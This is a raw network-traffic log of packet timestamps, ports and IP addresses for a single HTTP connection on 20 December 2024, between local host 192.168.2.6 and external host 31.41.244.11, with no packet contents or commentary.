Dec 20, 2024 21:13:16.340420008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.340460062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.340465069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.340502977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.341259003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.341305017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.341367006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.341404915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.342140913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.342183113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.342284918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.342324972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.343122959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.343163967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.343187094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.343225002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.343858004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.343971014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.344039917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.344079971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.344913006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.344923973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.344954967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.344983101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.345613003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.345666885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.345700979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.345769882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.346472979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.346510887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.346573114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.346618891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.347353935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.347393036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.347467899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.347507954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.348289013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.348335028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.348445892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.348484993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.349134922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.349175930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.349244118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.349281073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.350050926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.350090027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.350121975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.350158930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.350833893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.350940943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.351350069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.351772070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.351845026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.351871967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.352632046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.352735043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.352746964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.352844000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.353442907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.353612900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.353802919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.354368925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.354476929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.354502916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.354813099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.355235100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.355349064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.355380058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.355485916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.356204987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.356282949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.356405973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.356970072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.357073069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.357943058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.357969999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.358048916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.358679056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.358715057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.358822107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.358849049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.359389067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.359545946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.359653950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.359678030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.359775066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.360503912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.360515118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.360620022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.361285925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.361370087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.361394882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.361582041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.362148046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.362296104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.362325907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.363043070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.363070965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.363359928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.363388062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.363997936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.364106894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.364171982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.364285946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.364830017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.364969015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.364995956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.365696907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.365884066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.365916014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.366167068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.367198944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.367322922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.367327929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.367388964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.367857933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.367902040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.367928028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.368398905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.368477106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.368500948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.368593931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.369170904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.369231939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.369257927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.369457006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.370048046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.370121956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.370146036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.370177031 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.370886087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.371002913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.371109009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.371838093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.371855974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.372035027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.372642994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.372733116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.372759104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.373538971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.373581886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.373609066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.373946905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.374465942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.374604940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.374631882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.374722958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.375250101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.375338078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.375346899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.375427008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.376130104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.376207113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.376302958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.376954079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.377055883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.377082109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.377346039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.377804995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.377880096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.377984047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.378736973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.378787041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.378832102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.379594088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.379668951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.379694939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.379776001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.380428076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.380597115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.380844116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.381432056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.381567001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.381596088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.382210016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.382318974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.382333040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.382447958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.383147955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.383158922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.383285046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.383922100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.384207010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.384331942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.384799004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.384948969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.531184912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.531321049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.531358004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.531486988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.531582117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.531637907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.531692982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.531749964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.532592058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.532792091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.532984018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.532999992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.533230066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.533669949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.533771992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.533896923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.534523964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.534660101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.534686089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.534909010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.535366058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.535648108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.535669088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.536261082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.536299944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.536499023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.537097931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.537158012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.537255049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.537985086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.538014889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.538166046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.538506031 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.538857937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.538971901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.539760113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.539858103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.539882898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.540591002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.540630102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.540709019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.540987015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.541498899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.541625977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.541655064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.542501926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.542517900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.542634010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.542634010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.543323994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.543412924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.543557882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.544163942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.544284105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.544287920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.544471979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.545005083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.545141935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.545145988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.545500994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.545990944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.546001911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.546307087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.546693087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.546808004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.547472954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.547593117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.547750950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.547771931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.547941923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.548464060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.548588991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.548599958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.548784018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.549372911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.549495935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.549509048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.549674034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.550199032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.550296068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.550323963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.550632000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.551127911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.551139116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.551259041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.551259041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.551930904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.552102089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.552141905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.552826881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.552874088 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.552942991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.552985907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.553731918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.553792953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.553834915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.554028034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.554738045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.554749966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.554884911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.555548906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.555563927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.555787086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.555788040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.556299925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.556416035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.556452990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.556972980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.557158947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.557285070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.557324886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.558056116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.558075905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.558151007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.558206081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.558312893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.558983088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.559150934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.559175014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.559520960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.559915066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.559926033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.560101986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.560101986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.560691118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.560759068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.560806036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.561556101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.561667919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.561672926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.561841965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.562401056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.562521935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.562597036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.563265085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.563371897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.563381910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.563721895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.564219952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.564431906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.564466000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.565001011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.565141916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.565208912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.565835953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.565906048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.566076994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.566288948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.566726923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.566843033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.566854000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.566863060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.566998005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.567609072 CET	80	49849	31.41.244.11	192.168.2.6
